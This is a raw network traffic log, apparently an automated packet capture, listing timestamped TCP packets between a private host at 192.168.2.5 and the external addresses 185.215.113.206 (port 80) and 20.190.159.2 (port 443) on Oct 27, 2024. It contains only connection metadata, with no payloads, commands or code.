Oct 27, 2024 17:54:44.378223896 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378233910 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378238916 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378249884 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378273010 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378292084 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378294945 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378335953 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378346920 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378367901 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378386974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378406048 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378413916 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378436089 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378453016 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378468990 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378479958 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378503084 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378506899 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378519058 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378524065 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378530979 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378542900 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378556967 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378571987 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378582001 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378612041 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378774881 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378792048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378803968 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378820896 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378832102 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378832102 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378844023 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378859043 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378875971 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378968000 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378978014 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378988028 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379000902 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379014015 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379019976 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379025936 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379038095 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379040003 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379050016 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379062891 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379076004 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379087925 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379093885 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379107952 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379116058 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379123926 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379137039 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379142046 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379156113 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379160881 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379163027 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379185915 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379195929 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379200935 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379206896 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379219055 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379226923 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379251957 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379252911 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379262924 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379302025 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379302979 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379322052 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379337072 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379355907 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379362106 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379369974 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379390001 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379395962 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379420042 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379420996 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379431963 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379460096 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379481077 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379488945 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379499912 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379509926 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379520893 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379530907 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379569054 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379587889 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379606009 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379617929 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379627943 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379628897 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379642010 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.379652977 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.379683018 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.403337955 CET	443	49959	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:44.403376102 CET	443	49959	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:44.403413057 CET	443	49959	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:44.403446913 CET	49959	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:44.403456926 CET	443	49959	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:44.403469086 CET	49959	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:44.404078960 CET	49959	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:44.404088020 CET	443	49959	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:44.404097080 CET	49959	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:44.404239893 CET	443	49959	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:44.404278040 CET	443	49959	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:44.404318094 CET	49959	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:44.422646999 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.422657013 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.422700882 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.423932076 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.423943996 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.423954964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.423970938 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.423989058 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.424022913 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.424046993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.424057961 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.424067974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.424079895 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.424099922 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.495419025 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.495440960 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.495452881 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.495492935 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.495495081 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.495507002 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.495518923 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.495537996 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.495553970 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.495573044 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.495584965 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.495601892 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.495613098 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.495625973 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.495645046 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.495652914 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.495656967 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.495693922 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.495707035 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.495973110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.495982885 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496004105 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496015072 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496030092 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496040106 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496109962 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496119976 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496131897 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496159077 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496172905 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496185064 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496185064 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496201038 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496212006 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496229887 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496232033 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496243000 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496243000 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496257067 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496283054 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496320009 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496326923 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496334076 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496359110 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496373892 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496520042 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496531963 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496541977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496571064 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496593952 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496606112 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496615887 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496615887 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496628046 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496639967 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496654034 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496757984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496768951 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496774912 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496809959 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496829033 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.496915102 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496925116 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.496956110 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.497531891 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497550964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497562885 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497603893 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.497621059 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.497636080 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497648001 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497658014 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497668028 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497679949 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497683048 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.497698069 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497709036 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497716904 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.497720003 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497735023 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497736931 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.497754097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497761965 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.497766972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497776985 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497792959 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.497807026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497814894 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.497823954 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497837067 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497848034 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497848034 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.497868061 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.497889042 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.497906923 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497919083 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497927904 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.497947931 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.497975111 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498006105 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498018026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498028040 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498040915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498044014 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498069048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498079062 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498080969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498094082 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498101950 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498131037 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498166084 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498178959 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498188972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498202085 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498215914 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498218060 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498235941 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498269081 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498269081 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498281002 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498291016 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498321056 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498333931 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498353004 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498363972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498373985 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498387098 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498399019 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498404026 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498426914 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498435974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498444080 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498523951 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498536110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498548031 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498562098 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498567104 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498586893 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498604059 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498605967 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498605967 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498615980 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498622894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498631001 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498635054 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498646975 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498661041 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498678923 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.498960972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498975039 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498985052 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.498996973 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499008894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499012947 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.499021053 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499025106 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.499033928 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499054909 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.499083042 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.499115944 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499126911 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499157906 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.499175072 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499186993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499228001 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.499351978 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499394894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499397993 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.499407053 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499417067 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499429941 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499439955 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499445915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499464035 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.499484062 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.499490976 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499527931 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.499916077 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499927998 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499939919 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499963045 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.499974012 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.499979973 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.499990940 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500019073 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500022888 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.500031948 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500053883 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500056028 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.500066042 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500077963 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500082016 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.500089884 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500091076 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.500108957 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.500113010 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500147104 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.500174046 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.500205040 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500216961 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500228882 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500241041 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500243902 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.500253916 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500266075 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500267029 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.500267029 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.500281096 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500288963 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.500293970 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500308037 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500314951 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.500319958 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500330925 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.500334024 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500345945 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500356913 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.500360012 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.500379086 CET	49853	80	192.168.2.5	185.215.113.206
